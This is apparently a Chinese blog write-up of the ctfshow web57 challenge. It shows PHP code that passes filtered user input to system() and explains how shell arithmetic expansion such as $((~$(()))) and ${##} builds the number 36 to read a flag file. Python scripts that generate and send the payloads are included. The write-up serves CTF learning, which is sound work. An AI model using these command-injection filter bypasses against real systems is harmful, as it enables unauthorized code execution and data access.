当前位置: 首页 > news >正文

[ctfshow web入门] web57

信息收集

这下把.也过滤了,临时文件上传无法使用了

//flag in 36.php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){system("cat ".$c.".php");}
}else{highlight_file(__FILE__);
}

解题

$(())=0
$((~$(())))=-1

上面那两个表达式什么意思,看下面两篇博客:
博客1:$(( )) (( )) ( ) $( ) 区别详细说明和对比
博客2:shell $() $(()) $[] $[[]] ${} 使用语法
在这里插入图片描述

0取反得-1的操作,和计算机对于数据的记录方式有关,这是补码表示法,最高位是符号位。例如:1 = b0001 0=b0000 -1 = b1111,1到-1的变化是按位取反,然后加1,也就是 b0001 >> b1110 >> b1111 而0(b0000)直接使用取反得到的就是b1111也就是-1
不理解也没关系,会用就行。至于你问我为什么这样规定,那段计算机发展史我也不记得了,只知道反码表示法有0(b0000)和-0(b1111),存在歧义。

所以

36.php = 36 = -37 = -1-1-1...-1-1 = $(($((~$(())))...$((~$(())))))

至于为什么是-37,那你可以按照补码方式手工计算,按位取反然后加一。或者用现代人的办法,按计算器
在这里插入图片描述
由于手写容易出错,肉眼还看不出来,所以用代码生成一个

def get_negative(n):minus_one = "$((~$(())))"return minus_one * nprint(f"?c=$((~$(({get_negative(37)}))))")
?c=$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))

抓包即可拿到flag
在这里插入图片描述

至于给的另一个答案有点搞笑,把小写字母都过滤了,怎么可能有答案

?c=grep${IFS}'fla'${IFS}fla??php

还有高手

$ set --        # 清空参数
$ echo $#       # 输出0
$ echo ${##}    # 输出1,因为$#的值是0,所以${##}是长度1(字符'0'的长度)

在这里插入图片描述
在这里插入图片描述
所以可以KaTeX parse error: Expected '}', got '#' at position 2: {#̲#}+{##}…${##} = 36
在这里插入图片描述

import requests
def get_num(n):one = "${##}+"return (one * n)[:-1]if __name__ == "__main__":url = "http://54b70014-6b4c-469d-8c2d-7548176a4136.challenge.ctf.show/"payload = f"?c=$((~$(({get_num(36)}))))"res = requests.get(url + payload)print(res.text)

payload:

?c=$((${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}))

在这里插入图片描述
很可惜,这个虽然构造出36,但是无法成功获取flag,我尝试了get_num(9) get_num(2) get_num(18) get_num(36),很显然,可能${##} != 1 2 3 4。

同样的,($$/$$) = 1我也进行了尝试,同样失败了


web58    目录    web56

http://www.dtcms.com/a/177994.html

相关文章:

  • 到达最后一个房间的最少时间II 类似棋盘转移规律查找
  • QTDesinger如何给label加边框
  • Java后端程序员学习前端之JavaScript
  • k8s的pod挂载共享内存
  • Mysql-OCP PPT课程讲解并翻译
  • 数据结构 - 9( 位图 布隆过滤器 并查集 LRUCache 6000 字详解 )
  • 9. 从《蜀道难》学CSS基础:三种选择器的实战解析
  • 分贝计在评估噪音对学习的影响中起着至关重要作用
  • android-ndk开发(10): use of undeclared identifier ‘pthread_getname_np‘
  • exo:打造家用设备AI集群的开源解决方案
  • 基于Flink的用户画像 OLAP 实时数仓统计分析
  • Android NDK版本迭代与FFmpeg交叉编译完全指南
  • CTF - PWN之ORW记录
  • 手写 vue 源码 ===:自定义调度器、递归调用规避与深度代理
  • 【Linux】socket网络编程之UDP
  • 主场景 工具栏 植物卡牌的渲染
  • 使用adb设置wifi相关
  • 《100天精通Python——基础篇 2025 第16天:异常处理与调试机制详解》
  • SpringCloud服务拆分:Nacos服务注册中心 + LoadBalancer服务负载均衡使用
  • LeetCode 热题 100 131. 分割回文串
  • 【QT】: 初识 QWidget 控件 | QWidget 核心属性(API) | qrc 文件
  • 湖北理元理律师事务所:债务优化中的“生活保障”方法论
  • 软件逆向工程核心技术:脱壳原理与实战分析
  • 前端开发中移动端调试的日常工具整理
  • 《React Native性能优化:从卡顿到丝滑的蜕变之旅》
  • 信创生态核心技术栈:数据库与中间件
  • Vue 3.0中Treeshaking特性
  • 迪士尼机器人BD-X 概况
  • # 如何使用 PyQt5 创建一个简单的警报器控制界面
  • Chroma:一个开源的8.9B文生图模型